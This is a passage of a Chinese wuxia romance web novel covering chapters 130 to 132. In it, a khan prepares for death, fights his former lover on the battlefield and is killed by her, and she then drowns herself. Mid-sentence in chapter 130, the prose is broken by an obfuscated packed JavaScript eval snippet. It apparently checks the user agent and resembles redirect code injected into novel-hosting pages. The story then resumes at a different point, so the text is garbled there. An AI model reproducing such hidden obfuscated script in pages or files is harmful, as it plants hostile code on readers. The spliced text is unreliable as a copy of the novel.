当日,她从东宫搬到六净寺,带的唯一一样东西便是这把九霄环佩。 时岁荏苒,她同师傅练了十年的剑,也修了十年的心,她以为自己什么都放下了。 十年间,她一次都没碰过这把琴,她不知道自己在怕什么。 直到今日,她无意间瞥见案上蒙尘的古琴,不自觉垂指抚弦。 那一刻,她才明白,原来是自己错了。 她放下了吗? 不,她放不下的实在太多了。 三乘大师不知什么时候出现在她的面前,他笑了笑,“第一次听你抚琴,很好听。” 席容烟会错了意,解释道,“师傅,我不是故意躲懒的,我是练完了剑才弹的。” “哈哈,我知道,花醉三千客,你练的如何了?” 席容烟露齿一笑,“我给师傅露两手?” “好呀。” 席容烟放下琴,只见她广袖一扬,游光一闪,袖中软剑如一尺素练般舒展开来。 花醉三千客只有三式,可就是这三式,却让她练了整整十年。 人生能有几个十年。 她阖眼叹气,再睁眼时,眸中已是一片澄明。 刹那间,剑尖滑过长空,荡起无数流光。 云花朵朵尽着裳许,万里山长胭脂华胥。 她的身姿飘逸绝尘,一朵朵冰洁灵透的剑花顺势而出,日影漫过忘川,映出她疏然清冷的眉眼,只见她抬手微微一挑,天上随风而动的飞云立时散落,如晴雪,似柳絮。 孤月枯枝冷砚寒笔,水光清影灯火难觅。 她忽一翻腕,剑尖冲下,当空一个旋身,剑光擦着她翩然扬起的衣袂,漾出一道月白色的剑芒。 无心池的池心泛起了数点涟漪,广袖翻飞,剑芒愈盛,原本平静无波的池面突然间溅起数丈高不可及的浪花,浪花推着重云,淹没了天与地,云与水。 碎色暖景烟雨乍停,一曲长歌敛袖归行。 不知怎的,天边似乎回荡起飘飘渺渺的琴音,席容烟为其所扰,思绪纷乱,一时间没有回过神来,转瞬间,方才的一切有如幻象般消散,再也寻不见半点踪迹。 她匆匆收了忘川,旋身落定,颓然道,“师傅,第三招,我还是时常出错。” “你虽然出身将门,却没有摸过剑,如今能做到这样已经很不容易了。” “可是皇上九月便要对西域用兵,我还没有完全练成,我到时候还怎么报仇雪恨。” 三乘大师安慰着她,“别急,还有时间。花醉三千客的最后一式重在心法,你与其苦苦钻研剑术,不如听听风吟鸟吟,看看云卷云舒,兴许会有不一样的体悟。” 席容烟对他笑了笑,诚心诚意地说,“师傅,谢谢你。” “你我之间,不言谢字。” 十年间,二人在寺中渡过了无数个日日夜夜。 他教她习剑,教她下棋,教她修心,偶尔还会教她做几个简单的小菜。 在她的心中,他不仅仅是她的师傅,更是她的挚友知己,是值得她托付信赖之人。 不过这种感情绝非男女之情,他是得道高僧,因此她不会,也不敢用男女之情亵渎了他。 而对三乘大师而言同样如此,他同情她,就像他悲悯世间众生,他帮助她,就像他会对每一个萍水相逢之人施以援手,他呵护她,就像日光洒遍大地,水天笼罩山河。 每一次,当她需要帮助时,他都会第一时间伸出手,却又会下意识退后一步。 他退的这一步,是方寸,也是万千。 130. 一吻了余憾 西域。 太阳就快落山了,依拉勒光着脚,在金灿灿的草原上自在奔跑。 寒星给依拉勒找了最好的师傅,不光教他骑射剑术,还从大魏请来大儒,教他识文断字,治国理政,依拉勒天资聪颖,勤奋好学,尽管他才十岁,已经能够独当一面了。 寒星勒住照夜飞矢,他面带微笑,注视着他的儿子,这是他这辈子最引以为豪的作品。 寒木打马追了上来,“密探来报,大魏皇帝要对西域用兵了。” “来的人是谁?” “肃安王领兵,左将军霍翰羽,右将军卢文盛。” “不足挂齿,对了,先锋是谁?” 寒木默了默,“女将军,陈兰旌。” 寒星目光一滞,他侧过脸来,“阿烟?” “嗯。” 夕阳的余晖在天地间铺开一大片的斑斓,寒星久久无语,末了竟是一笑。 “这一天终于来了。” “陈兰旌一定是来找你报仇的,寒星,她已经不是席容烟了,你不能对她手软。” 寒星扬了扬眉,没有答话,他伸手抚摸着照夜飞矢缎子般油亮的鬃毛,突然想起一事,“木头,达亚娜嫁过来多少年了?” “快十年了吧。”寒木指了指不远处的依拉勒,“你儿子不都快十岁了吗。” 寒星的神情一下子变得严肃起来,他记得天机阁阁主曾经说过,寒木死在大魏三十年。 寒星的声音有些慌乱,“今年,是大魏多少年?” 寒木掰了掰指头,“好像是大魏三十年吧。” 寒星脸色苍白,几无血色。 “寒星,你怎么了?” “木头,你答应我一件事。” “你说。” “我们和大魏开战那天,你哪儿都不要去。” 寒木一愣,“什么意思?你不让我跟着你一起杀敌?为什么?” “你答不答应。” “寒星,我不放心你呀!” 寒星微微动唇,“我只问你,你答不答应?” 寒木着实摸不着头脑,可他看寒星这个样子,又不像开玩笑,只得说道,“如果你执意如此,我答应你就是了。” 寒星松了口气,他握住寒木的手,“木头,记住了,那一天,你哪儿都不要去。” “寒星,你能告诉我为什么吗?” “因为……”寒星阖眼一叹,“因为我希望你能好好活着。” 寒木更糊涂了,可他还没来得及问,就见依拉勒扬着笑脸,冲二人跑了过来。 男孩的声音清澈嘹亮,响彻山谷,“阿塔!” 寒星紧蹙的眉头舒展开来,他一把捞起依拉勒,将他高高举过头顶。 依拉勒转过脸来,冲寒木露齿一笑,“寒木叔叔。” 寒木伸手揉了揉他的脑袋,笑着应道,“好孩子。” 寒星把他搂在怀里,“书读得怎么样了?” 依拉勒点点头,“师傅昨儿教了我《商君书·算地》,阿塔,我给你背一遍呀。” “好啊。” 依拉勒果真背了一遍,一点都没卡壳。 “背得不错,知道这篇文章是什么意思吗?” “嗯,知道!数者,臣主之术,而国之要也。”[1] 寒木大笑起来,“哈哈哈哈,寒星,你这儿子可以啊,又会武功又会文章,假以时日,早晚越过你去。” 寒星亲了亲依拉勒的脸蛋,依拉勒的眼睛像是幽深的蓝宝石,在日光下散发着沉静而又耀眼的光芒。 他仰起小脸,在寒星的下巴上蹭了蹭,“阿塔,你去瞧瞧阿娜好不好,她想你了。” 寒木脸上的笑容僵了一下,慌忙偏头去看寒星。 寒星怔了怔,说,“好。” 依拉勒高兴得直咧嘴,他勾住寒星的脖子,“好哦,阿塔答应了,阿塔不许食言哦!” 子夜。 寒星轻手轻脚地掀起帐帘,风贴着门缝渗入帐中,吹得烛火微晃。 坐在榻边的达亚娜机警地转过头来,她看见寒星,不由得愣住了。 寒星扫了眼榻上的依拉勒,微微一笑,“儿子睡着了?” 达亚娜手足无措地点点头。 “出来一下,我有话和你说。” 达亚娜撂下手里的针线,跟着寒星走出大帐。 二人沿着河边,缓步慢行。 “儿子没和你说,我今晚要来吗?” “说了。” “那你怎么这么惊讶?” “小孩子的话,我怎么敢相信。” 达亚娜停下脚步,抬眼望着寒星,“大汗今日来找我,该不会是因为依拉勒吧。” “你猜猜看。” “我们之间,除了他,似乎也没有什么别的交集了。” 她低下头,笑了笑,“大汗总不可能是专门来见我的吧。” 寒星伸手揽住她的肩,目光温和,“为什么不可能?” 达亚娜的身子微不可察地颤了一下。 寒星叹了口气,“达亚娜,这些年,是我对不住你。” “不怪你,我从一开始就知道会是这个结果,可是大汗,我不后悔嫁给你。” 达亚娜试探着往寒星身上靠了靠,见他没有反感的意思,她伸手轻轻环住了他。 “父王说过,爱一个人,就一定要得到他,我得到了你,成为了你名义上的阏氏,我很开心。大汗,我知道你不爱我,这些年来,你来我帐中的次数屈指可数,要么就是寒毒发作,要么就是为了那个女人喝得酩酊大醉,你在意识清醒的时候从来没有碰过我。” 寒星挣开她,“达亚娜,别再说了。” 达亚娜的唇角扬了扬,带起一丝单薄的笑,“大汗,你别误会,我同你说这些,并不是想要抱怨什么,路是我自己选的,我没什么好抱怨的,正如我方才说的,我不后悔。” 她侧了侧身子,抬眼望着大帐的方向,笑道,“你虽然不爱我,却送给了我这世上最好的礼物,依拉勒,他是我们的儿子,是我和你的儿子,大汗,我真的很感激你。” 寒星顺着她的视线看了过去,神色稍微和缓了些,“我已经将怜冰决的心法封印在他的体内,只是他年纪尚小,一时半刻怕是还没有办法完全领悟其中关窍,达亚娜,我把他交给你了,你要好好照顾我们的孩子。” 达亚娜一怔,“你这是什么意思?” “大魏和西域要打仗了,我没有把握从战场上活着回来。” “大汗,你从来没有说过这么丧气的话,你告诉我,是不是因为那个女人来了?” “这和你没有关系。” 达亚娜红了眼眶,大声道,“怎么和我没有关系?你是我的丈夫,依拉勒是我们二人的骨肉,你为了一个不相干的女人,竟连自己的性命都不要了吗?” 寒星凝视着达亚娜的眼眸,一字一顿,“阿烟不是不相干的女人,她是我这辈子唯一动过心的女子,她是我的另外半条命,为了她,我做什么都心甘情愿。” 达亚娜面色惨白,几乎站立不稳,她退后一步,大口喘气,颤颤巍巍地抬手指着自己,“那我呢,我算什么,我和你的孩子又算什么?” 寒星张臂搂住了她,“对不起。” 刹那间,达亚娜仿佛失去了意识,她什么都看不见,什么都听不见,她只能感受到寒星的体温还有自己的心跳。 她把头埋在他的怀里,呜呜咽咽哭了起来。 寒星的衣襟湿了,他垂眸看着她,神情微微有些错愕。 自从达亚娜嫁到西域,寒星还从来没有看见过她流泪的样子,一次都没有。 在他的印象中,达亚娜就像天上的红日,永远是那么的朝气蓬勃,乐观坚韧,明艳动人。 他一直以为,这个女人是不会哭的。 他现在才明白,原来她也会伤心,也会难过,有时候也会忍不住哭出声来。 他叹了口气,抬手拢住她的发心,浅蓝色的幽芒顺着他的经脉缓缓汇入她的体内。 达亚娜沉浸在汹涌澎湃的悲伤中,一时没有反应过来,待她觉察时,却是已经迟了。 她猛地推开他,“你在做什么?你疯了!” 达亚娜虽然不似寒星那般武功高强,却也是自小习武之人,她发现寒星居然渡了一半的内力给自己,她整个人都快崩溃了。 大战在即,寒星这么做,除非是不想活了。 对,他就是不想活了。 寒星淡淡道,“照顾好依拉勒,他现在承载不了这么强大的内力,等他有一天能将霜寒十四州融会贯通了,你再将我的内力慢慢传给他。” 达亚娜张了张嘴,却说不出话来。 一股酸涩从心头涌上鼻尖,她抽泣着问,“大汗,如果有一天,他问我,你去哪里了,我该怎么回答他?” 寒星默了默,半晌,他缓声道,“你就说,他的父亲本来是天上的一颗星星,一不小心掉了下来,他的父亲练了很久很久的武功,才找到了回到天上的办法。他要是想找到父亲,就要好好习武,好好读书,等有一天练到和他的父亲一样厉害了,他就也能飞到天上去了。” 达亚娜笑了起来,笑着笑着又哭了,“依拉勒已经十岁了,你以为,这种哄小孩的把戏,还能瞒他多久?” 寒星一脸云淡风轻,“等他长大了,想通了,自然也就不会再在意这些事情了。” 今晚的天空很是清朗,明月高悬,星子一闪一闪,堪堪缀在夜色一角。 寒星抬眼望着头顶的星空,恍惚间,他想起了一些过去的事,嘴角不自觉微微上扬。 达亚娜立在当地,看着他的背影发怔,泪水模糊了他的轮廓,像是一团云雾,忽聚忽散。 她再也顾不得许多,扑上去紧紧抱住了他。 “大汗,不要丢下我!” 寒星一愣,下意识想要拽开她的手,可她抱得那么紧,仿佛用尽了全身的力气,饶是他也挣脱不开。大片大片的湿热漫过他的后背,他叹了口气,抬手覆上了她的手。 “达亚娜,你是一个很好的女孩子,如果我很早很早就认识了你,或许我会爱上你。” 达亚娜朦胧的泪眼中闪过一丝欢喜,“真的吗?” “嗯。” 寒星听见,她似乎是笑了一下,“大汗,如果有下辈子的话,我一定要早点遇上你。” 寒星没有应声,他解下腰间的佩剑,交到她的手上。 他垂指轻抚青霜剑的剑身,眼中满是不舍,“此剑与我相伴三十余载,从未离身,待我去后,你将此剑交给寒木,告诉他,见剑如见我,我希望,他能娶妻生子,安稳一生。” 达亚娜颤手接过青霜剑,哑声应道,“好。” “依拉勒虽然争气,到底是个孩子,若是尧里瓦斯还活着,他一定会尽心辅佐,我也能少些牵挂,可惜……” 寒星没再说下去,他仰起脸,望着天上大大小小的星子。他从前听过一个传说,人死了之后,都会回到天上,变成一颗颗小星星,看着自己牵挂的人。 寒星的眼眸亮了亮,继续说,“所幸寒木、艾山、沙吾提也都是可信赖之人,有他们在,我很放心。无论此战,本汗是生是死,西域是胜是负,大魏都会元气大伤,你让依拉勒不要急于用兵,一时的成败并不要紧,他读过许多书,应该明白这其中的道理,你让他带着西域的将士们趁着这个机会修生养息,以待来日。” “好。” “还有一事。”寒星转过身来,他看着她的眼睛,极其郑重地说,“达亚娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她仰头,漫天繁星尽入眼中,她抿了抿唇,呢喃道,“大汗,这辈子,我没有遗憾了。” 玉门关。 肃安王和衣而眠,他的嘴唇微微颤抖,睡得并不安稳。 他梦见,悠悠的脸上挂了两道血泪,一步步向他走来。 “悠悠。” “王爷,是你,害死了我。” “不,不是的悠悠。” 肃安王猛地坐了起来,“不!” 他扫了眼四周的景象,知道自己又做噩梦了。 他躺回床上,却是再无困意,半睡半醒间,他听见门外传来一阵悉悉索索的声音。 肃安王的第一个反应是有刺客,他提剑而起,冲出门去,一把拽住那人。 待看清楚那人的容貌时,他不由得愣住了,“你是,平乐?” 平乐冲他眨了眨眼睛,“晗安哥哥。” 肃安王松开手,“你怎么会在这儿?什么时候溜出来的?皇上知道此事吗?” 平乐得意地扯了扯自己身上的衣裳,“当然不知道啦,我打扮成士兵的模样,跟着你们一路走到这里。” “你怎么不早点来找我,你要是知会我一声,我还能照顾照顾你。” “我怕被人发现啊,更怕被你送回去,那样,我就见不到我的孩子了。” 肃安王无可奈何,“大半夜的,你跑这儿来干什么,我差点把你当成刺客杀了。” 平乐揉着肚子,扁了扁嘴,“我饿了,本来是想去厨房的,结果天太黑了,我没看清路,就误打误撞走到这里来了。” “哈哈哈,走,我带你去。” 平乐犹豫道,“这是不是不太好,你一个主帅,半夜带人去厨房偷东西吃,嘶。” 肃安王拍了一下她的脑袋,“笨蛋,你都说了我是主帅,怎么能叫偷呢。” “也对哦。” 二人手拉着手,借着细微的月光,朝厨房的方向走去,走到一间房舍时,平乐站住脚,望着窗内的烛光,疑惑道,“咦,这么晚了,怎么还有人没睡呀。” 肃安王看了一眼,“这间屋子是陈将军的,她应该是有心事吧。” 平乐知道席容烟和寒星的事情,此刻一听,就全都明白了。 她叹了口气,没再多说,拉起肃安王的手跑了起来。 铜炉华烛,灯花噼啪,席容烟一扬袖,忘川倏然而出。 她手执软剑,长身而舞,银白色的光辉如烟花般絮絮炫开,素淡轻渺而又夺目灿烂。 烛火摇曳下的点点金芒吻了眉,萦了袖,一圈圈旋转一圈圈飘落,到乌丝尽落清颜不再,到胭脂褪尽歌残冷暖,到陌上花开染不了铅华素面,到红尘散去空换了雪作流年。 她隔着窗,看到了氤氲的红与忽闪的白,在来去无痕的荒野上,红裹不住白苍凉的长发霜林尽染,白抚不了红三秋的血花水何澹澹。红与白镂在刻骨的深夜,永不相交,亦不相离。 一切的一切于无人处兀自流淌,春流到冬,冬流到夏,何该是少了些什么,却来不及问。 她收剑入袖,蓦地,什么东西潸澘然滑落,不自觉的抬手,眼角却是清清爽爽,半分也无。 她仰头轻笑,所有的不甘不舍,所有的情仇爱恨,于心头滚过。 忍粘黏,莫牵连,终究是化作飞灰,烟灭了。 看不破,便是千遭轮回千遭孟婆,硬要碰,便是飞蛾扑火契阔成说。 她从枕下取出寒星数年前送她的那支木簪,稳稳插入发髻。 “寒星,这一次,我们合该做个了断。” 131. 星落忘川剑 这一日是九月十五。 千军万马中,寒星第一眼就认出了席容烟的身影。 她穿着长长的衣,梳着高高的发,绯红的袍摆垂在踏雪玉狮银白色的鬃毛上,红得耀眼,白得醒目。 一别数年,她的身上少了些清冷,多了些肃杀。 他想,她应该是吃了很多苦,才能镇服三军,成为了大魏唯一的女将军。 席容烟也打量着寒星,他若草的衣裳散在大漠的风沙中,那样轻,却又那样重。 她牵动凉唇,笑了笑,“西域可汗,别来无恙。” 寒星目光一滞,西域可汗,这几个字眼,他从未想到有一天会从她的口中听见。 他张了张嘴,却无论如何也说不出那句陈将军。 “阿烟,我宁愿你杀了我,也不愿看见你这么对我。” 风太大了,席容烟抬指理了理鬓角凌乱的发。 “席容烟已经死了,活下来的,是陈兰旌。” 寒星打马上前,席容烟霍地挥出软剑,“别过来。” 他在离她百余米的位置停下,“陈将军,我把我的这条命给你,你把我的阿烟还给我,好不好?” 席容烟怔了怔,半晌,她仰脸眺望远处的山峦,声音中裹着秋日的萧瑟,“寒星,我们都回不去了,今日,我与你,必须要做个了断。” 夕阳西下,玉轮高悬,这场仗从白天打到黑夜,还是没有分出一个胜负。 寒星抹了把溅在眉心的血珠,月白刺入眼眸,他望着天上的那轮圆月,想起二十四年前,也是这样一个夜晚,他在熙来攘往的长街上看见了孤身一人的她。 他,救了她。 他为什么要救她呢,当然是因为她长得好看,那时候,他初入宰相府便立下大功,遭到不少嫉妒和排挤,他想用这个女孩子讨得席容炎的欢心,这样才能在宰相府站住脚。 是的,他在一开始只是想要利用她,而事实上,他也的确一次又一次利用了她。 他提早勘破了魏晗烨的埋伏,不想做无谓的牺牲,却又不想让席容炎发现自己心机深沉。于是,他将这一切推到席容烟身上,毕竟,英雄难过美人关,任谁都说不出来什么。 后来,他奉命刺杀西域客商刘言敬,却一不小心受了伤。魏晗烨和袁青二人穷追不舍,他知道,席容炎绝不会救他,所以他找到了席容烟,果然,她帮他骗过了魏晗烨。 席容炎和西域往来密切,有着许多不为人知的勾当,寒星在宰相府为人鹰犬,为人爪牙,隐忍了那么多年,为的便是有朝一日回到西域,报仇雪恨,同时借席容炎之手挑起大魏内乱,而他则乐见其成,坐收渔翁之利。 但席容炎对他始终心存戒备,从来不让他插手西域的事情,更不要说把他单独派去西域,寒星利用席容烟,最终成功打消了席容炎的戒心。 那他是什么时候爱上她的呢。 他不知道。 他只知道,席容烟让他有了许多第一次。 席容烟为了救他,甘愿服下黄昏雨,他看见她痛苦的神色时,心第一次疼了起来。 魏晗烨中了迷香,在言语上轻薄了席容烟,而席容烟为了寒星不被发现,费心与魏晗烨周旋,寒星看在眼里,气得脸色铁青,恨不能立刻跳下来把魏晗烨杀掉,他第一次流了鼻血。 终于,寒星斩杀了苏里唐,成为了西域的新汗王,按说,他已经不需要席容烟了,她对他已经没有一点利用价值了,可是最后,他还是不顾自身安危,不顾西域大局,只身去大魏救了她。他只会杀人,从来不会无缘无故地救人,这是第一次,他不求回报地出手相救。 那夜在天池,寒星在她的身上获得了无可言喻的快乐。 他小时候跟着母亲躲在红翠馆,见惯了男女之间的龌龊与难堪,所以寒星不近女色,甚至对这种事情十分反感,可是席容烟不同,有那么一刹那,他觉得她是从天宫坠入凡尘的仙人,她的美,如月,似雪。 寒星在狼峰岭独战群狼,他第一次感受到了什么叫害怕,是的,他怕了,但并不是因为那些张着血盆大口的凶兽,而是因为,他怕自己再也见不到他的阿烟。 一晃眼,已经过去二十多年了。 寒星成了雄踞大漠的尤里吐孜汗,而席容烟则成了大魏赫赫有名的女将军陈兰旌。 他们都回不去了。 席容烟手执忘川,冷冷地看着他,“拿起你的剑。” 寒星摊了摊手,乜眼一笑,“你以为,没有剑,我就打不赢你吗。” 席容烟迎面相击,“好啊,那就试试看。” 一语未了,剑已先至,寒星利落后仰,利刃擦着他的鼻尖,呼啸而过。 寒星似笑非笑,“十年未见,阿烟果然进益了。” 她眉头微蹙,从马背上一跃而起,剑尖直指他的咽喉,厉声道,“谁是你的阿烟?” 他不闪不避,嘴角轻扬,眼见那柄软剑已经向自己扫了过来,他随意地挥了挥袖,草色衣角在风中微微摇曳,她根本没看清他的动作,就被他一把拉入怀中。 席容烟翻腕挣开,以剑撑地,只听“叮”的一声脆响,剑尖翻空而起,激起一道流光,她红衣仗剑,当空而立。 寒星足尖轻点,凌风而起,他所经过的地方,流尘化雪,黄沙成冰。 她不可思议地看着这一切,“你居然将霜寒十四州练到了此等地步?” 寒星微一挑眉,“阿烟,罢手吧,你打不过我的。” 席容烟死死咬住下唇,“谁说的!” 寒星瞧着她的模样,情不自禁地想要逗弄她,他促狭一笑,低声道,“阿烟,你想赢我,除非是在床上,否则,绝无可能。” “好生猖狂!” 席容烟又羞又气,扬手便打,软剑在月光下甩出一朵朵漂亮的剑花。 “哈哈哈,阿烟,你这是在做什么,跳舞吗?” 席容烟没有理会他,忘川在她的手上出神入化,响彻西风。 风起,花落,寒星本来不以为意,直到他发现自己的手上竟然莫名其妙的多了两道伤痕,他才意识到花醉三千客的厉害。 他垂眸仔细看了一阵,勾唇一笑,“花醉三千客,果然名不虚传。” 她正色道,“霜寒十四州,亦是不同凡响。寒星,你的本事,我是知道的,我的脾气,你也是知道的,你若真想让我高兴,就该拿出真本事来,我想赢你,就要堂堂正正地同你打。” 寒星默了默,“既如此,阿烟,我成全你。” 他五指张开,须臾间,一柄玲珑剔透的冰剑横在手中。 一团乌云遮住了圆滚滚的皓月,天色慢慢暗了下来。 她挥剑相迎,只听得玉石之音,铿锵作响。 霜寒十四州能够凝万物为坚冰,取人性命,而席容烟练就的花醉三千客则如春风化雨,正好对上霜寒十四州的刚猛之道,将寒星的杀招一一化解开来。 寒星气力不济,额间渐次渗出冰凉的汗珠,他抿了抿苍白的嘴唇,故作轻松地“哼”了一声,“花醉三千客也不过如此嘛,我还以为有多厉害呢。” 月色稀薄,席容烟看不清他的神色,却在他的话语中听出了不屑。 她心下微怒,一时乱了章法,反被他抓住错漏,一把揽入怀中。 他的吻堪堪落在她的眉心,她下意识偏头,凉薄的唇便覆上了她的眼睑。 他捧着她的脸,像是掬着一抔月色。 她试图挣开他的怀抱,可她提剑的手腕被他牢牢扼住,动弹不得。 “寒星,放开我。” 寒星笑了笑,“你不是叫我西域可汗吗,怎么突然改口了?” 她嘴硬道,“本将军爱叫什么就叫什么,你管得着吗!” “呦,好威风。” 他垂眸注视着她,久久不语。 四目相对,没来由的,她红了脸,“要打就打,要杀就杀,这算什么?” 他的声音仿佛掺了一抹夜色,清冷而又幽深,“阿烟,再叫我一声夫君,好不好?” 不提还好,一提 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她快疯了,理智告诉她,这是你的仇人,这是杀你父母,屠你满门的凶手。 可情感告诉她,这是你的男人。 席容烟用剑锋划破自己的指腹,强迫自己清醒过来,她伸手去推寒星,“放开我。” 寒星不但没有放开,反而搂得更紧了些。 “你再不松手,我就一剑杀了你。” “好啊,动手吧。” 他满不在乎地吻着她的唇,她的耳,她的眼,她的一切一切。 冰蓝色的星河流泻眼底,她握紧忘川剑,抬手遽然一击。 刹那间,天,变成了红色。 寒星垂眸看着心口处流出的汩汩鲜血,僵硬一笑,“阿烟……” 席容烟不敢相信眼前的景象,寒星受伤了,他怎么会受伤,他不应该受伤的。 她顺着斑驳血迹,看到了剑尖上缀着的猩红血珠,看到了握着剑柄的手。 这只手,是自己的。 她的心要碎了,只听“咔嚓”一声,手里的忘川剑摔在地上,应声而断。 “你为什么不躲,你明明可以躲开的,你那么厉害,你明明可以躲开的!” 寒星皱了皱眉,忘川剑贯穿了他的心脏,他知道,自己快死了。 他牵动唇角,扯出一个难看的笑,“阿烟,祝贺你,大仇得报,夙愿得偿。” 席容烟拼命摇头,“不,你骗我,你一定是在骗我。” 她不管不顾地扯开了他的衣裳,看见了那个穿心而过的洞。 伤口狭长,形似新月,这样的伤口,只有她的忘川能做到。 寒星支撑不住,向后倒了过去。 席容烟颤抖着手,扑上去攀着他的脸,“阿星!” 寒星张了张嘴,因为虚弱,他的声音极轻极慢,“阿烟,我没有骗你。” 他确实没有骗她,他的内力在大战之前就已经所剩无几,之前是因为不想让她看出来,一直勉强撑着,这才没让她瞧出破绽。 用尽全力吻她,是他能做的最后一件事,他做得很认真,也很快乐。 寒星抬指,虚虚刮了一下她的鼻尖,“阿烟,别哭,你哭了,我会伤心的。” 席容烟哽咽道,“你起来,寒星,你起来,我不报仇了,只要你起来,我跟着你去天涯海角,我们找一个没人认识的地方,安安稳稳过一辈子。” 寒星笑了笑,“好啊,咳咳……” 笑声带出了一口鲜血,因为怕弄脏她的衣袍,他勉力偏了偏头,却再也没正回来。 寒星死了,死在一个九月的夜晚。 她听见他说的最后一句话是,“阿烟,我爱你,你要记得我。” 脸上冰凉一片,她以为是自己的泪,抬手去摸,才发现竟然下雪了。 她抱着寒星的尸身,仰天痛呼,“寒星!” 132. 花漾天池间 寒木赶到时,仗已经打完了。 他来得太晚了,只看见遍地尸身,血流成河。 他揪住一个士兵的衣领,疾声问,“大汗呢!” “陈兰旌掳走了大汗,艾山将军和沙吾提将军带人去追了。” 寒木松开士兵,双腿用力一夹马肚子,朝着士兵指的方向疾驰而去,“驾!’ 雪越下越大,天地间,入眼尽是一片白莽。 一个时辰过去了,寒木没有找到寒星,也没有找到艾山和沙吾提。 他攥着达亚娜转交给他的青霜剑,心急如焚。 寒木与寒星相交多年,他知道此剑是寒星的母亲在临死前花光所有积蓄请人为他锻造的,这些年来寒星从未离身,如今却送了自己,只怕凶多吉少。 思及此处,寒木的心情更加急迫,一不小心从马背上跌了下来,他的手背立时被冰冷的马鞍划出一道长长的口子。 他顾不得这些,一个翻身跨回马背,猛一扬鞭,“驾!” 天空中忽然传来两声海东青的嘹唳,寒木心头一紧,见是引弓追逐着惊风,掠过天山。 海东青是万鹰之神,最有灵性,它们一定是知道了什么。 寒木跟着它们,策马狂奔。 山峰簇着一抹雪白,仿佛云朵坠落寰宇。 月光下,天池宛如一滴圣洁的眼泪,安静地卧在群山之中。 席容烟一袭红衣,踽踽独行。 啪嗒啪嗒,一滴滴温热的红落在雪里,那是寒星的血。 她走到天池跟前,终于再也支撑不住,扑通一声跪倒在地。 寒星双眼微阖,面色平静,嘴角还挂着一丝若有若无的笑,像是睡着了似的。 她噙着泪,一遍遍吻他,试图唤醒他,可他的身体还是越来越凉,越来越凉。 到后来,就连从他体内流出来的血也是凉的。 席容烟默念心决,想用花醉三千客为他疗伤,可霜寒十四州和她的花醉三千客本就相生相克,她使出的所有内力最后都反噬回了自己身上,逼得她呕出一口鲜血。 寒木找到二人时,看到的正是这样一番景象。 只一眼,他便知道,寒星已经死了。 一种前所未有的悲愤铺天盖地地向他袭来,寒木霍地抽出青霜剑,架在了她的脖子上。 寒木头发上指,目眦尽裂,“是你杀了他!” 席容烟整个人却如同痴傻了一般,漠然地抬头看着他,“我是谁?” 寒木一怔,手中的剑却逼得更紧了些,“我要杀了你,为他陪葬!” 席容烟没有任何反应,她的目光呆滞,兀自呢喃着,“他是谁?我又是谁?” 剑锋微扬,蓦地,一道璀璨的银白光芒刺入他的眼眸,寒木定睛一看,原来是青霜剑的剑光映在了寒星佩戴的那枚象牙扳指上。 寒木握着剑的手不由得松了松。 他认得这枚扳指。 这是席容烟之前送给寒星的礼物,寒星日日夜夜都带在身上,从来不肯取下。 寒木放下剑,仰天长叹一声,“罢了,他若还活着,一定不希望我杀了你。” 寒木将青霜剑收入鞘中,伸臂从席容烟怀中接过寒星,席容烟却往后缩了缩。 “松手!” “我不。” 寒木手背上青筋暴起,所有的情绪在这一刻爆发,他勃然大怒,破口大骂,“席容烟,你知不道寒星有多爱你,他爱你爱了一辈子,他爱你爱的连命都不要了,你怎么忍心杀了他,你怎么忍心啊!是,寒星之前是对不住你,可是他有得选吗?你也是知道黄昏雨的厉害的,他若是不杀别人,他就得死!如果是你,你告诉我,你会怎么做!” 席容烟像是没有听懂他的话,茫然地摇了摇头。 寒木没工夫和她废话,劈手便夺。 席容烟也不知是哪里来的力气,任凭他把她的手抓烂了,也不肯松开抱着寒星的手。 寒木偏头狠狠啐了一口,“操,你他妈疯了!” 席容烟没有答话,方才她为寒星疗伤时,霜寒十四州和花醉三千客隔掌相遇,引起巨大的反噬,寒星已经死了,自然伤不到他什么,这股可怕的力量最终顺着全身经络,蔓延到了席容烟的心肺,此刻,失去控制的内力不断上涌,她已经神志不清,走火入魔了。 她忘了自己是谁,也忘了怀里的这个男人是谁,她只记得,这个男人对她来说很重要,所以她绝不会将他随便交给别人。 寒木拧着眉毛,伸手探了探她的脉象,不由得大惊失色。 “怎么会这样,你……”他不知道该说些什么,末了叹气道,“罢了……罢了……” 寒木蹲下身子,神色稍微缓和了些,他指了指寒星,尽可能平静地说,“我是他的朋友,他受伤了,受了很严重的伤,我要带他去找大夫,或许还能救他一命。” 席容烟闻言,抬手碰了碰寒星冰凉的面颊,她怀里的这个人,确实已经死了。 “你希望他死吗?” 席容烟下意识地摇了摇头。 寒木张开手,“那就把他交给我,相信我,我会尽我的全力去救他。”他顿了顿,坚定地说,“哪怕是以命换命,我也一定要让寒星活过来。” 席容烟闻言,眉头微皱,她上下打量着寒木,在她模糊的记忆里,她仿佛是认识这个人的,他应该不是个坏人,再加上寒木的眼神赤诚真挚,她放心不少。 于是,席容烟慢慢松开了手,寒木飞快地接过寒星,抱着他跨上马背,转身策马而去。 离开时,寒木回头看了席容烟一眼。 她跪坐在大雪中,脸色苍白,红衣胜血。 爱到最后,两人一死一疯,也不知道,究竟谁更可怜。 寒木唏嘘不已,他不忍再看下去,扬起马鞭用力一甩,“驾!” 一轮凄冷的月,挂在当空。 她仿佛一片红叶,飘入池中。 “寒星……我来陪你……” 冰冷的水裹着她,向更深处坠落。 恍惚间,她想起了那个做了很久很久的梦。 只是这一次,寒星死了,没有人能救她了。 池水漫过发心,她喘不过来气了,窒息像是一把钝刀,割出了迟缓的钝痛。 她曾以为,自己恨毒了寒星,直到这一刻,她才明白,原来她还是爱着他的。 是啊,他们在一起经历了那么多次的生生死死,聚散离合,怎么可能说不爱就不爱了。 她恨寒星吗? 她想,自己应该是恨的吧,或者说,自己是应该恨的吧。 他们之间,隔着国仇家恨,隔着陈家上下五百余人的命,怎么能不恨呢。 她,必须得恨。 因为她是陈兰旌,她必须得恨。 可是,席容烟是不必恨的,所以她跳了下来。 她不会水,她知道自己会被淹死,死在深秋,死在冰凉的水里,死在没人知道的地方。 可她很高兴,因为她终于可以再一次爱他了。 她要陪着他,一起死。 